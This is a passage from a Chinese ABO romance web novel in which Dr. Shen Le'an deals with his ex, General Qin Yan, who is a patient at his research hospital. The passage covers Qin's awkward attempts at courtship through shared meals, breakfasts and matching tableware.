叶白杨和沈乐安交换了联系方式后,又顺着道:“有了乐安哥的联系方式,那我有不知道的岂不是都能问问乐安哥?” 他笑起来的时候和唐洛安有几分相似,又因为同样是严教授带出来的直系师弟,沈乐安难免亲近,点头道:“有问题随时可以找我。” 叶白杨笑了下,“中午要不要一起吃饭?” 他第一次来,沈乐安比他熟悉,带他一起去一次也没有什么,“可以,等会你找我。” 叶白杨高兴地点点头,脸颊有浅浅的酒窝,看上去有几分可爱。 “沈师弟。”徐应尧冷不丁的插嘴打断了他们的对话。 叶白杨礼貌退开,让出位置。 徐应尧看着沈乐安笑意未散的唇角和叶白杨亮晶晶的眼神,扫了扫额角虚无的灰尘,说道:“你的病人不是很配合,需要你去看看。” 沈乐安拧眉:“哪个房间的?” “六号房。” 六号房住着秦砚。 沈乐安顿了一下,“他还没出院?” 来这治疗的病人只有完全康复才允许出去的,但他明明那天在联邦医院看到了秦砚,所以也理所应当的认为他已经治好离开了。 “没出院。”徐应尧抬眼瞥了他一眼道,“但我的权限还有点拦不住他,他也不乐意听我的医嘱。” 秦砚的主要医治负责人是沈乐安,最高权限当然也在他这,但他之前一直没有打算和秦砚接触,所以事情也是一并丢给徐应尧干的。 但徐应尧不是秦砚的朋友吗,他的话秦砚也不听? 不过沈乐安还真的不好说徐应尧什么,反而还有点理亏,毕竟这本该是他的活。 那悬着的刀已经落下来过一次了,沈乐安反倒轻松了一些,问了一下秦砚的情况,拿着病例去了六号病房。 沈乐安是第一次来这,但对比起其他的病房,这里用病房来称呼,其实并不合适,隔着一个统一规格的医院的门之外,里面俨然被装修成了一个卧室。 Alpha坐在床上,被子半搭在腿边,手上拿着平板,在刷新闻。 “大瓶一粒,小瓶三粒。”沈乐安瞥了他一眼,从旁边的桌上拿了那几瓶药,放在他手边,“秦上将今年几岁大了,还需要医生专门哄你吃药吗?” “确实需要,”秦砚不咸不淡地说了一句,“毕竟我的主治医生之前都没有出现过。” 沈乐安:“徐师兄不是在负责你的事情?” 秦砚目光落在他冷淡的面庞上:“他不是我的主治医生。” 明明很正常的一句话,偏偏让人无名有种霸道的意味。 “我会往上申请换人。” “为什么?” 沈乐安看着他道:“那天的事情让别人对我们的关系有了误解,影响不小,现在事情也差不多解决,你可以和他们说明我们的关系了。” 秦砚顿了一下,“说明什么关系?” 对上Alpha刀一样锋利的视线,沈乐安没由来的有几分心虚,别开视线,道:“已经分手了的关系。” 沈乐安补充了一句:“之前和你商量好的,你还记得吧?” 秦砚确实不是不守诺言的人,对于自己承诺和说出口的事情,也不会食言。 他很少为自己说出口的话后悔,如今还是第一次产生这种情绪。 沉默良久,秦砚才道:“安安,那天晚上的事情是我太失控,才造成了不必要的误解,这一点我向你道歉。” 秦砚也是醒来后从宋书颖的口中才得知当时沈乐安的情况的,那种人来人往的情况下,Omega身上消弭不散的Alpha信息素在旁人眼中意味着什么不言而喻,哪怕再不注重脸面和声名,对于Omega而言难以启齿的东西。 秦家哪怕势力再大,也很难完全消除掉所有的流言蜚语。 秦砚思忖片刻,才做下决定:“我们的关系我会和家里说明清楚,不会让你有任何的困扰。” 沈乐安看着他冷静从容的交代后续的事情,又煞有其事地征询了一下自己的意见,倒也不好多说什么,嗯了一声,表示应允。 得到了应有剧本中设定的承诺和结局,沈乐安没由来的放松了许多,但心中却无端空落落的,有种果然如此的笃定和某种疑似失落的情绪。 沈乐安将注意力转移到了公事。 “把药吃了。” “好。” 看见秦砚吃完了药,沈乐安便打算离开,刚迈出一步,秦砚叫住他:“我还有几个问题。” 沈乐安只好转回头。 “能告诉我为什么拉黑我的联系方式吗?” “没有原因,断干净不是你当初告诉我的?” “那我们现在算是普通朋友?” 沈乐安不明所以地看向他,一时没有作答。 秦砚不紧不慢地追问,仿佛必须得到一个答案:“是吗,沈医生?” 搞不懂他忽然说这些干什么。 沈乐安:“……随你。” 秦砚看着他,唇角露出一个温和的弧度,“那麻烦你把我的联系方式从黑名单里面放出来吧,还有公事会需要和你联系,找不到人我自己不好处理。” 见他一副公事公办的态度以及落在自己身上的带着无声督促的视线,沈乐安觉得奇怪,还是当着他的面,还算配合的将他拉出黑名单,微信也加了回来。 秦砚目光不经意地扫过时钟,随口道:“等会你还有工作吗?” 沈乐安将手机收回口袋,“没有。” 秦砚问:“能一起吃午饭吗?” 沈乐安:“你有什么公事可以现在和我说,我晚点去吃饭也行。” “不是公事。”秦砚道,“是有点私事。” 沈乐安下意识瞥向他。 Alpha坐在床上,少了身高带来的居高临下,微微仰起头,大病初愈,脸色还有几分苍白,减弱了疏离和严肃,无端生出一丝温润。 “听说追人的时候请他吃饭容易培养感情,”秦砚说道,“沈医生中午有空吗?” 他说话的声调略有几分低,带着某种认真请求的意味,砸入Omega的耳腔。 原来打的是不破不立的牌。 手法简单粗暴,行动也处处都是缺陷,唯一不明的只有他的目的。 沈乐安试图从他的思维方式思考问题。 是因为之前半山别墅的事情?愧疚?弥补? 原因不明,但话内藏着的意思却昭然若揭,不可否认,Alpha平稳的腔调攻击力十足,正好对上了沈乐安的弱点,顷刻间就砸倒了他刚刚竖立起来的围墙。 少年心口被他的直言不讳毫无防备地撞了一下,刚刚那点低迷悄无声息间消散不见。 半开的窗被疾风捶打,在寂静无声的室内发出嗡鸣的响动,震耳欲聋。 沈乐安藏在口袋里面的手微微收紧,刚分手结束的淡定犹存,转头过去伸手关窗,背对他回道:“我有约了。” 秦砚不见失望,看着他完美的后脑勺,又道:“晚上可以吗?” 沈乐安将窗户关的一点缝隙也无,然后认真检查是否得当,顺便回话婉拒:“我晚上回家吃,不在食堂。” 秦砚见他好似黏在窗户上一样,很轻地弯了下唇,没有再紧追不放,说了声好,又道:“谢谢沈医生陪我吃药。” 沈乐安搪塞了一句,让他见识了一番自己的脾气,也让他深刻知道自己并不什么好哄的小少爷,然后拿着东西转头就走,也没有抬头再看秦砚。 站在不远处等沈乐安一起去食堂的叶白杨听到了不小的关门声响,转头看向六号房的位置。 刚刚进去前从容不迫的沈医生消失不见,平静和沉稳不在,多了一点匆匆逃离的狼狈,藏在发尾的耳根冒着一点漂亮的姝红。 沈乐安解了颗扣子,暗暗吐了口气。 高高在上的秦上将对他低声下气,和当初刚认识他时对着他一脸臭脾气放下的狠话不约而同,简直是将他那点骨气踩在脚下,让他险些就忘了他们刚刚分手不该给前男友好脸色的底线。 美色误人啊。 叶白杨盯着紧闭的六号房门看了一会,走近道:“乐安哥?” 外头风吹得人脑袋清醒了几分,沈乐安听到声音,转头看去:“叶师弟,你怎么在这?” 叶白杨摸了摸自己的脑袋,识趣地不提原先的邀约,只道:“我提前干好了活,所以来等师兄一起去吃饭。” 沈乐安这才想起来这事。 他本来刚刚是随口糊弄秦砚的,没想到是自己忘了确实是有这么回事。 “乐安哥?” 沈乐安回神,“走吧。” 门外的动静逐渐远去,随后走廊又恢复宁静。 病房内的Alpha扬起的唇角又落了下去,抿了抿唇,盯着已经恢复正常的聊天界面,抬了抬手,给重新加回来的人发了一条信息。 沈乐安刚进电梯,手机便震了震。 见叶白杨已经按了电梯楼层,他拿出手机,看了看新的消息。 是刚加回来的秦砚。 小青菜:【沈医生和别人约会完可以帮我打包一份饭菜回来吗?】 沈乐安盯着上面的文字,一时不知道怎么回。 这副阴阳怪气还有点装可怜嫌疑的说话口吻。 他到底和谁学的? — 徐应尧拿着秦砚的午饭进去时,秦砚刚和家里打完电话。 徐应尧把盒饭放在他桌上,说道:“外卖费用记得给我结一下。” 秦砚:“你买的饭?” 徐应尧觑了他一眼,“沈师弟让我转交的。” 秦砚眉间微舒,因为沈乐安没有回消息的不愉消失的一干二净,走到桌旁坐下,边拆开塑料包装边道:“谢了,路费等会给你转。” “你们和好了?” “快了。” 徐应尧嘲笑道:“怎么,还有你秦上将搞不定的事情?” 秦砚拆了筷子的包装,抬了抬眼皮,“你最近很闲?” 徐应尧道:“我只是想说虽然你是我兄弟,但是今天和沈师弟约饭的那个小师弟条件也挺好的,人家嘴甜还非常的热情主动。” 秦砚嚼了两口味道寡淡的米饭,表情淡淡地回他:“我不会干涉他的交友。” 徐应尧见他说的高风亮节,神色镇定,但却反复一直在夹自己最讨厌的西蓝花往嘴里送,不由笑出了声。 秦砚置若罔闻,不为所动,只是盯着那道西蓝花,走了走神。 他的饮食喜好对于旁人来说或许是似是而非的,但沈乐安和他一起相处了这么久,关系亲近,所以一直心知肚明。 也许小少爷还在赌气。 徐应尧上上下下打量了秦砚一眼,老神在在道:“以你这尿性,估计要不了多久被人后来居上了。” 秦砚将筷子挪到了另外一道喜好平平的胡萝卜里面,不做理会。 徐应尧看着他的动作,自顾自地说道:“你还是得想办法不小心偶遇什么的,制造一点单独相处的机会,你懂不懂?” 秦砚放下了筷子,嫌他烦,“我心中有数。” 徐应尧见他还一副尽在掌握之中的从容样,嘀咕了一句:“迟早有你慌的。” * 下午离开的时候,沈乐安没有按照原来的打算再去食堂吃饭,虽然是敷衍秦砚的,但是如果真的在那碰见他,大概率会尴尬死。 虽然是表面客套的推辞,但沈乐安非常确认秦砚这人不会认为这是婉拒,如果真见到人,说不定他还会直白地问他为什么骗他。 不过搬了新住址,厨房也变大了,一切都是新的,沈乐安下厨的想法正浓,倒是起了回家做饭的心思。 下班后,沈乐安便去了一趟家附近的超市,买了新鲜的菜和肉,然后补充了一点小零食,带了回去。 进门前看到对门前面放了几个快递包裹,猜测沈序说的那个偶尔来住的邻居最近可能又来这里住一阵了。 前房主将这个房子出售给他的时候倒是提过一嘴这个邻居,说这人不常来住,性格有点孤僻,不爱和人打交道,虽然看起来有点不近人情,但是也挺好说话,不会找麻烦。 沈乐安也不怎么喜欢处理邻里关系,不过对方不爱搭理人也挺好的,省的他再花心思打交道。 关了上门,沈乐安就拿着东西去了厨房。 洗菜切菜切肉,分了碗放在一旁,规划了指定的位置,比他之前胡乱摆放要看起来工整的多,这还是从秦砚那里学来的好习惯。 提到某人,沈乐安便不免想起来今天让叶白杨顺手打包选的饭菜。 他没回秦砚的消息,想当做没看见,但吃完饭的时候听叶白杨说他也要打包一份回去还在加班的同事,沈乐安便让他也一起打包了一份。 自助选的菜,叶白杨一并帮忙选的,沈乐安拿到的时候顺手瞧了一眼。 好巧不巧,两素一荤,其中就有秦砚不爱吃的西蓝花。 买都买了,还是叶白杨好心帮忙选的,沈乐安原本也没想给秦砚买,索性还是拿了回去,让徐应尧给秦砚。 至于秦砚最后有没有吃,他当然也不会多嘴去问。 但今天秦砚那句直白的追人的陈述,沈乐安很难不承认自己确实有点被他撩到。 他甚至有点搞不懂秦砚的真实想法了。 他难不成真的想追他?因为那天在小别墅里发生的事情,产生了愧疚?想对他负责什么的? 一走神,沈乐安就自作孽地切到了手指。 刀刃划伤的疼痛顷刻间让人回过神来,沈乐安重重地吸了口气,把刀“砰”地丢在一旁,走到水池边,开了水龙头冲了冲。 门铃声响了一下。 应该是他点的外卖到了。 沈乐安关了水龙头,指腹还在淌血的位置被他用舌尖吮吸干净,走到门口,另一只手开了门。 门外站着的却不是外卖小哥,而是今天刚在病房内被哄着吃了药的那位不听话的病患。 Alpha换了一身休闲的睡衣,穿的单薄,但藏在衣服底下漂亮的肌肉线条却似有若无的可以窥见,从领口处紧韧的颈侧肌肤与绷起的一层青筋中。 沈乐安一眼就注意到了他领口出罕见解开的一颗扣子。 “……你怎么在这?” 秦砚目光落在他的手指上,拧了拧眉道:“先处理伤口。” 沈乐安顺着他的视线往自己手上瞧,发现那道血痕又凝聚了一颗不小的血珠,悬挂在指尖。 他也没有再顾及秦砚,转头回去翻出药箱,打开,拿出里面的创可贴。 秦砚关上门进来,从他笨拙的手中取走了那片被他弄到缠在一块的创可贴,又从里面拿了一片新的,撕了包装,对着指腹的伤口,认真缠了一圈。 沈乐安看着他垂下眼皮,浓密的睫羽在瞳仁深处笼罩了一层阴影,神色专注,认真又严肃,如似孤冷高傲的寒竹。 Alpha的动作很轻,如似轻飘飘的蝶羽,似有若无地剐蹭着少年的心尖。 沈乐安再一次无意划过他领口敞开的肌肤,狐疑地撇了他一眼。 秦砚恍若未觉,专注于伤口上,动作很慢,甚至有点小心翼翼如视珍宝的意思,贴个创可贴都弄了足足有一分钟。 沈乐安收回手,清了清嗓子,道:“你住隔壁?” 秦砚将桌上的包装纸收齐丢掉,又把药箱关上拿起,示意了一下,问他:“放哪?” 沈乐安觉得以他的观察能力不至于看不出来他从哪里拿出来的,但还是指了指柜子道:“里面第二层。” 秦砚放回原位,看了眼厨房的位置:“切菜的时候划到的?” 沈乐安嗯了一声,问道:“你找我有事?” 秦砚:“知道有人搬来隔壁,我过来看看。” 沈乐安抬了抬眼皮,“你不知道是我?” 秦砚看向他:“现在知道了。” 如果不是前房主专门提起过自己住这几年就偶然在今年回来的时候在电梯里面见过两眼邻居,也许沈乐安这会儿对着秦砚不似作伪的平静面孔,会信以为真。 沈乐安觉得他可能也从自己这里学了点话术,有了点长进,也没有戳穿,委婉赶他离开:“没什么事的话我得先去做饭了。” 秦砚拦住他,蹙眉道:“你这样还能做饭?” “东西基本上切完了,不需要动刀。”沈乐安再一次委婉暗示,“秦上将不回去自己家吃饭吗?” 他特意在‘自己家’上面加重了一点语气。 秦砚当然听得出来他话外音,今天本来过来也只是单纯想与他打声招呼,但想到今日午饭吃的那些西蓝花和当时徐应尧聒噪的话。 向来有分寸讲礼节的Alpha罕见地迟疑了一下,本要顺着他的话离开的话语全部咽回喉中,并没有如同攻略所言适可而止把握进度。 “秦上将?”沈乐安见他一言不发,喊了他一声。 “你手受伤了不要沾水,我来帮你做。”秦砚道,“午饭没能约成,刚好晚饭一起吃。” 他几乎是做好了决定,但还是末尾似乎是想起来征询主人家的意见,又道:“我家里没有准备晚饭,可以在你这里吃一顿吗?” 沈乐安:“……” 话都说到这份上,而且你都直接去厨房了,我还能怎么拒绝,拉你出去吗? 沈乐安郁闷了两秒,但闻到厨房内传出来的气味的时候,心情又好了许多。 秦砚下厨确实比他自己做饭要好的多,他的确不亏。 沈乐安准备好自己的碗筷,看到厨房内的秦砚时,纠结了一下,拿了一副一次性的碗筷洗干净留给秦砚。 秦砚下次应该不会再来。 那副崭新的一次性餐具被沈乐安明晃晃地摆在了桌面。 秦砚将还冒着热气的菜放在桌上,扫了一眼,盯着那副碗筷看了数秒,“家里没有瓷碗了?” 有是有,不过沈乐安没拿,只道:“没有,将就用一次吧。” 秦砚唇线拉直,但到底没有说什么。 “吃饭吧。”沈乐安说道。 秦砚默不作声地拿着碗去盛了饭。 饭菜好看,人也赏心悦目,但到底还是有点尴尬。 沈乐安脸皮再厚,也难以做到无动于衷。 今天秦砚说的那些话和他的种种反常表现,很难不让沈乐安多想,与其一直记挂着,不如直接说清楚。 半碗饭没吃完,沈乐安便先放下了筷子,主动道:“那天晚上的事情本来就是你先救了我,真论起来,我也算是回报,而且我也没觉得发生了那种事情有什么吃亏的地方,就算别人知道,我也不觉得有什么。” Omega的脸上难得多了一点认真,商谈正事的冷静。 秦砚再一次道:“抱歉。” 沈乐安:“我没觉得有什么,你懂我的意思吧?” 秦砚:“我知道。” 沈乐安:“所以你不必因此有产生多余的情绪和违心的行为。” 秦砚:“你是指什么?” 沈乐安拿着一根筷子,戳起一块土豆,在半空晃了晃,那块刀工高超的土豆成品被他拿捏着送到了口中。 “说追人的话,让我帮你买午饭,然后晚饭的时间出现在我家给我做饭……还有故意解扣子□□。” 最后一句补充沈乐安说的飞快,语气飘了一下,然后很快恢复冷静庄重的模样,侃侃而谈道:“我们哪怕不是伴侣,我也不会因为之前的事情传出什么谣言而受任何影响。” 沈乐安说完,又吃了块土豆,评价道:“你这种表达愧疚的手段太过于拙劣。” 沈乐安很少这样和人坦白自己的真实想法,毫无顾忌也毫无保留,看着桌面摆布整齐的碗筷,他还是觉得自己住在秦砚家的那段时间受他影响颇深,不仅是生活方式,还有处理事情的方式。 关键还是秦砚几次说他遇事逃避,实在是往他气管子戳,他也不想担这个胆小鬼的名头。 连番一顿输出,沈乐安还是顾及了一点面子,补充道:“没有想要怼你,我说的是事实。” “手段很拙劣吗?”秦砚不见怒火,仿佛不在重点地问道。 沈乐安没好气地反问:“你觉得呢?” 一看就是不知道从哪个百科还是什么网友学来的什么破教程,刻意又明显。 秦砚抿了抿唇,眉心微微收紧。 秦上将做事一向游刃有余,很少有被人揭短的时候,还是如此直白,这是第一次。 “我以为你喜欢这些。”秦砚说着,重新系好那枚令他别扭许久的纽扣。 他承认的非常坦荡。 ……包括出卖自己的色相。 沈乐安以一种诧异的目光打量着秦砚。 Alpha神态自若,仿佛又恢复了禁欲内敛,微微垂着眼皮,吃饭的动作慢条斯理,仪态矜贵又好看。 沈乐安看着那枚规规矩矩被系回原位的扣子,忽然饶有兴致地看着他,“我喜不喜欢又如何,你追我干什么,我又不是秦上将的理想型,稳重成熟和我可是一点都搭不上边。” Alpha幽深的蓝眸对上少年的视线,卷翘的睫羽轻轻颤了颤,薄唇微抿,五官的线条绷紧了一些,锋利又流畅,无意泄露了一点他的僵硬。 提及旧事,秦砚说不过他,也不想反复惹他生气,只提了一句:“午饭的西蓝花还可以,我现在不觉得讨厌。” 不觉得讨厌。 沈乐安反复在心里琢磨了一下他这个词,难为他金口被撬开了一点,却还是严合其缝,多一点都不行。 “午饭是我师弟帮你打的,不用来谢我。”沈乐安道,“他人还挺好的。” “我会把钱转给他。” “他人挺好的,下次介绍给你认识,长得也好看。” “是吗。” 秦上将客气又礼貌地应了一声,手上捏着筷子的动作却紧了一点。 他听出来Omega有点调侃的意味,但话里的评价做不得假,素来淡定自如的人也难免生出来一点不确定。 他确信自己对沈乐安有几分特殊,但沈乐安处理事情的方式也非常的决绝,不留一点后路,徐应尧的话犹在耳畔。 秦砚目光微微一定,看了眼几乎要被沈乐安吃的空盘的西蓝花,里面还剩下孤零零的一颗。 沈乐安呵呵一声,看出他的欲言又止和口是心非,心里觉得好笑。 看到他视线所望的方向,心头微微一动。 沈乐安便拿起筷子,夹了一颗饭桌上仅剩的还飘着丝缕热气的西蓝花,在秦砚面前晃了晃,学着他旁敲侧击地敲打他道:“秦上将,还不一定是你碗里的呢,用得着你嫌弃?” “没有嫌弃。” 沈乐安撇了他一眼,“那也不一定是你的。” 话音刚落,沈乐安便愣了一下。 做事沉稳庄重、一向规矩的秦上将抬了抬筷子,在半空中与沈乐安交错,制住了Omega欲退的动作。 然后站起,俯首躬身。 Alpha掀唇,舌尖挑动,像是鸟儿衔住了自己的食物,叼走了筷子上夹着的最后一颗西蓝花,目光尚未离去,直勾勾地,如同注视着猎物一般。 含住食物的唇瓣红润艳丽,清软的唇力气不大,却轻易勾走了食物,也让主动挑衅的Omega手上的筷子跟着不稳地抖了抖。 钳制骤然放松,沈乐安倏然回神,收回了有点发酸的手。 筷子上沾了秦砚的口水,沈乐安不好再用,只能将筷子暂时搁置在了桌上,一时手边空空不知道该有什么动作。 空气中有很轻地一声椅腿和地板摩擦的声音。 秦砚重新坐下,收了筷子,认真咀嚼了几下夺来的食物,也没有说话,只是掀了掀眼皮,神色不明地看着坐在他对面的沈乐安。 Alpha幽暗的瞳仁夹杂着某种冗杂的思绪,片语不言,但对刚才问题的回答全部表达在无言之中。 手上空无一物的Omega抠了抠桌布,脸颊无名有些发热,后颈发麻地低下了脑袋。 第72章 第 84+85 章 沈乐安觉得秦砚好像学坏了。 以前冷静自持、规矩有分寸的秦上将绝对不会做出这种失礼的行为。 那天晚上秦砚在他家抢走的那颗西蓝花令沈乐安耿耿于怀, 连着几天做梦都梦到他当时看他的眼神。 倒也不是害怕,只不过累的沈乐安连着两天早上起床换了换床单。 沈乐安从来不觉得自己会是什么犹豫不决还吃回头草的人,但秦砚这棵霸王花竟然还会进化变异, 实在勾的他心痒痒, 让他有点蠢蠢欲动。 但秦砚这次绝对所图不浅,沈乐安没有上一次那么好把控,他甚至隐隐觉得自己要是真的和他有了什么复合的苗头,对方绝对不可能像上次那样放过他。 他还是不希望英年早婚的, 如果结了婚,秦砚一定会, 会,呃,好像这人一直管他非常多,他之前也适应的还好, 之前秦砚还不愿意表达, 现在似乎也有点改好的趋势…… 这一反省, 沈乐安深觉不妙,他原来不是非常排斥和人捆绑在一块? 不清醒的一天不适合思考问题, 沈乐安认真告诫了自己两遍, 暂时决定先躲两天。 秦砚说他遇事不解决就想躲倒也没有说错。 沈乐安虽然不愿意承认, 但心知肚明他并没有看错自己。 他没有什么处理亲密关系的经验,上辈子从小镇的孤儿院里面长大,后来有机会步入了上流阶层, 但从小地方到大城市, 也见识了不少感情婚姻关系。 小镇上因为贫困争吵的夫妻, 大城市里三天两头不见的貌合神离。 最开始的圆满和最后的支离破碎,两个人一同经营的关系, 要远远比一个人要来的麻烦的多,朋友和亲属间尚且如此,何况伴侣。 为了另外一个人将自己变得面目全非,沈乐安觉得并不值得,所以谈不拢直接断掉是最好的选择。 这是沈乐安最开始的想法,但他不得不承认秦砚确实让他原先的坚定有了一点点动摇,甚至也不得不承认,秦砚的很多方面对自己也有了一点影响。 果然色令智昏。 沈乐安啃着包子,默默唾弃自己。 “看来是我来晚了一步,”叶白杨看着他桌上的包子和豆浆,将自己买来的那份放在了他的手边,“这份乐安哥等会饿了可以吃。” 沈乐安听出他的话外音,今天过来的这份早餐不是他买的? 前两天叶白杨说自己会路过早餐店,便提了一下顺便帮他带作为沈乐安帮他忙的报答。 为了让叶白杨安心,沈乐安倒也应了。 今天早上过来的早餐也是豆浆和包子,只是包装和之前的不同,沈乐安只当是叶白杨去的那家店换了包装,没想到不是他买的。 他的桌子大家都知道,应该不是放错。 所以是谁给他买的? 沈乐安压下心中的疑惑,与他道:“放我桌上我就以为是你带的,等会问问是不是谁错放了我这,我拿这份和他换换,这份的钱我再转给他。” 叶白杨点点头,扫了一眼那个豆浆的包装。 是离这有段距离的网红早餐店,价格还有点小贵,倒不像是研究所里面的同事会买的。 他识趣地没有多嘴,转移话题道:“乐安哥这两天帮了我好多忙,我还有点过意不去,中午请你去食堂任意选大餐怎么样?” 沈乐安摆摆手,“不是已经帮我买早餐了吗,而且我没有帮你什么,不用那么客气。” “检验数据、仪器操作……”叶白杨一个一个数着,又笑道,“乐安哥帮我的不少了,难怪严导一直说师兄厉害,我现在算是知道了。” 沈乐安道:“严教授和我打过招呼,所以有什么问题你都能和我提,我会尽力帮你解决。” 叶白杨眨了眨眼,退了一步道:“请客不成,那还能邀请师兄一起吃饭吗?听说今天有新出的菜色,要不要一起去测评一下?” 沈乐安也没马上拒绝,只道:“得看看到时候有没有时间,你没什么事不用等我,可以自己先去吃。” 叶白杨应下,吃了早餐就拿着文件夹去了另外一个实验室。 早上人来齐,也没有见人来问早餐的事情,沈乐安便猜出来这份早餐是别人买了放他桌上的。 没有人提,他也不知道是谁……虽然隐约有了一点猜测。 不过这家店的豆浆确实还挺好吃的,沈乐安倒是记了记店铺的名字,打算下次自己去买。 徐应尧今天不在,秦砚的事情也不好托给别人。 沈乐安喝了两口豆浆,这才慢吞吞地拿着记录本去六号房。 一进去,还有一股没有散尽的豆浆味和肉包子的味道。 沈乐安扫了眼床边桌子上放着的同款豆浆杯,猜测验证,又不动声色地转回视线,道:“坐好,做检查。” 秦砚在大部分时候还算是听话的病患。 沈乐安见他神色冷淡地乖乖配合检查,心中偷偷松了口气,给他抽完血,无意碰触到他有点灼热的体温,皱了皱眉,抬手贴近他的额头。 “有没有头疼咳嗽等感冒症状?”沈乐安低头问他。 秦砚目光在他近在咫尺的细腕上停留片刻,回道:“没有,但可能有点发热。” “我给你量一□□温。” “嗯。” 沈乐安收回手,取出体温计。 秦砚配合他的动作,距离贴近,他出声问道:“豆浆好喝吗?” “不知道谁送的,没碰。”沈乐安随口敷衍道。 秦砚:“网上评价很高,比路边随便买的小店铺做的豆浆的口感要好得多。” 沈乐安听出他意有所指,瞥了他一眼,公事公办地道:“秦上将,你发烧了。” 秦砚嗯了一声,继续道:“早餐我会帮你买好,你不用麻烦别人。” 沈乐安将体温计放好,又拿起笔记录,边写边开口道:“你这两天不要回去,见风容易反复,就在医院住着。” 安排好,沈乐安又补充了一句:“也最好不要开车出去买东西。” 秦砚不动声色的将喝空了的豆浆放回了桌上,应了一声。 沈乐安看他吃瘪,唇角忍不住翘了翘,见他看过来,又扳直唇瓣,正儿八经着表情循例问了一些症状,做了记录。 少年藏不住那点得意,眉眼舒展开来,鲜亮如骄阳,笔尖都荡漾着一股轻快,笔杆顶部的金属光色反射处来绚丽的金灿,显得高端又雅致。 他手上拿着的笔还是之前从Alpha的书房里面顺走的。 浅淡的暖光消弭了Alpha眼底的冷调,生出一丝柔和。 秦砚几不可察的略过一丝浅笑,在他离开之际,又照例说道:“沈医生,中午能一起吃饭吗?” 沈乐安比之前还来的直接,借口都不找了,“不能。” 大概是没有办法回去,秦砚没有再提晚上约饭的话。 沈乐安看了他一眼,这两天条件反射拒绝的话又咽了下去,“我找了护士帮你买饭,有需要可以叫她。” 秦砚:“我这两天不能回去,买的快递不能一直放在门口,你能暂且帮我保管一下吗?” 这事倒是顺手,沈乐安还不至于拒绝这种小事,便随口应下了。 秦砚:“拿到给我发个消息?” 沈乐安:“行。” 秦砚看着他,道了声谢。 沈乐安将血液样本交给另外一个负责人进行检测,然后让护士拿着记录去帮忙开药给秦砚。 回到自己的办公位置时,那杯豆浆还搁置在桌面。 豆浆的外包装都透露着一股精致的气息,味道也不错,也难怪网上评价会很高。 沈乐安喝完了那杯已经凉透的豆浆,看到豆浆杯子外沿底部的小字,开了导航软件,查了查这个门店的位置。 开车一个小时,没有分店,也没有外卖服务。 活该他着凉发烧。 沈乐安心里嘀咕了两句,又把剩下的一个包子也一起吃完了。 秦砚的血样检测和信息素检测报告出来,沈乐安刚下班回去,在路上的时候也看了一眼。 虽然秦砚的发烧有点影响到了信息素的稳定,但身体确实要比一般人要好的多,比他早治疗许多的林一鸣还没有完全康复,他已经基本上确认痊愈可以出院了。 不过为了以防万一,徐应尧还是建议等秦砚发烧退了之后再让他离开,反正也不差这两天。 沈乐安给他回了个赞同的表情。 徐应尧顺带提醒了一句明天有媒体来采访他的事情,让他记得穿的正式一点。 沈乐安又给他发了一个OK的手势,表示收到。 还没等他退出消息界面,新的消息弹窗跳了出来。 小青菜:【快递拿到了吗?】 沈乐安这才想起来自己还答应了秦砚帮他取快递的事情,扫了眼对门的位置,便看到了一个丢在门口的包裹。 他对着快递单界面拍了张照过去,【是这个?】 小青菜:【是。】 沈乐安摸了摸有点破开的快递袋,回他:【包装有点破碎,你要退吗?】 小青菜:【可以帮我拆来看看情况吗?】 LLA:【等会。】 沈乐安给他发了条信息,就拿着东西进了门。 快递单上还写了个易碎物品,他暂且搁置在了客厅桌上,然后找了架子,把手机立起来,录制开箱视频,以防是贵重物品出现问题不好处理。 沈乐安操作完就拿着小刀,将外包装划开,里面还裹了一层白色的泡沫,他丢了脏兮兮的外层,然后又把泡沫掰开,层层保护的东西便显露于人前。 瓷釉印着简笔画人物的白底圆碗、黑色的长筷和蓝色的勺子,三件套整齐地躺在里面,外面的图案和款式隐约还有点眼熟。 ……好像和自己的那套是不同颜色的同款。 沈乐安盯着那副碗筷看了几秒,将视频录制终止,又给秦砚拍了张照片,【没碎,你什么时候来拿?】 顶上又变成了对方正在输入中,沈乐安等了两秒,消息弹到眼前。 小青菜:【暂时放在你那里。】 半个字都没有提什么时候过来拿,仿佛略过了他的那个问题。 沈乐安看了好几眼他的回答,想起来那天晚上秦砚在这吃饭时用的那副一次性碗筷,又摸了摸手上冰凉凉的瓷碗。 然后给他重新发送了一遍:【你什么时候来拿?】 对话框上的输入中停留了许久,才弹出来新的消息。 小青菜:【家里不是没有新碗筷?】 小青菜:【还有缺提醒我买。】 沈乐安给他回了个满图都是点赞手的表情包。 — 第二天一早,沈乐安到办公室的时候,桌上照例放了网红店铺买来的早餐小食,这次还换了新的品种,是枣糕和豆浆。 两天连着如此,叶白杨也不好说是意外了。 沈乐安还是收了叶白杨专门帮他买的早餐,然后委婉推了下次再帮他带早餐的忙。 叶白杨非常有眼色的转移了这个尴尬的话题,转到正事,“乐安哥,听说六号房的病人已经确认痊愈马上要出院了是吗?” 这事沈乐安没有让徐应尧隐瞒,点头道:“是,他目前还有点发烧,退烧后再做做检查,没有什么别的情况就可以确认康复了。” 叶白杨道:“第一例成功案例还是不一样的,之前媒体那边就提过希望可以报道宣传,对于咱们的药剂来说也是正面的官宣,如果可以参与报道肯定更好,但六号房的那位身份上是不是不太合适?” 六号房里面住着的人信息是保密的,这个是研究所里面几乎默认公开的事情。 先不论他住的地方就是专门重新装修过的与其他病房格格不入,就连他的病例信息都是专人负责的,主要的负责人还是代表整个团队的沈乐安。 “报道的事情他不能参与,用匿名提一下就行。”沈乐安道。 叶白杨觉得有一点可惜,不过没有表现出来,又道:“听说今天有媒体过来采访团队,需要专门给他们安排一个房间吗?” 这事昨天徐应尧提了一嘴,因为太晚,大家没有来得及落实。 沈乐安:“安排吧,隔壁不是有一个空的房间?” 叶白杨应下,想了想,又说:“需要我去和六号房的病人说一声吗?” 毕竟有媒体来采访,还是生人,还是提前打声招呼才好。 沈乐安吃了口枣糕,回他,“没事,我会和他讲。” 叶白杨听出了那一点熟稔,目光定定看了桌上的豆浆一眼,没有多嘴,转头离开了办公室。 沈乐安手里拿着没有吃完的枣糕,直接去了六号房。 高烧刚退,哪怕秦砚是铁打的人,现在也难掩有一点苍白和虚弱。 沈乐安看着体温计测出来的温度,便道:“秦上将,你明天应该可以出院了。” 秦砚嗯了一声。 沈乐安吞下最后一口枣糕,又问:“你找谁买的早餐?” 他昨天答应了不会乱出去,沈乐安对他一言千金的守约行为还是非常信任的。 秦砚:“找人跑腿。” 沈乐安:“……”忘了他还是个财大气粗的秦少爷。 沈乐安:“今天会有媒体过来采访报道,你不方便可以不用出去。” 秦砚:“徐应尧说有你的专访?” 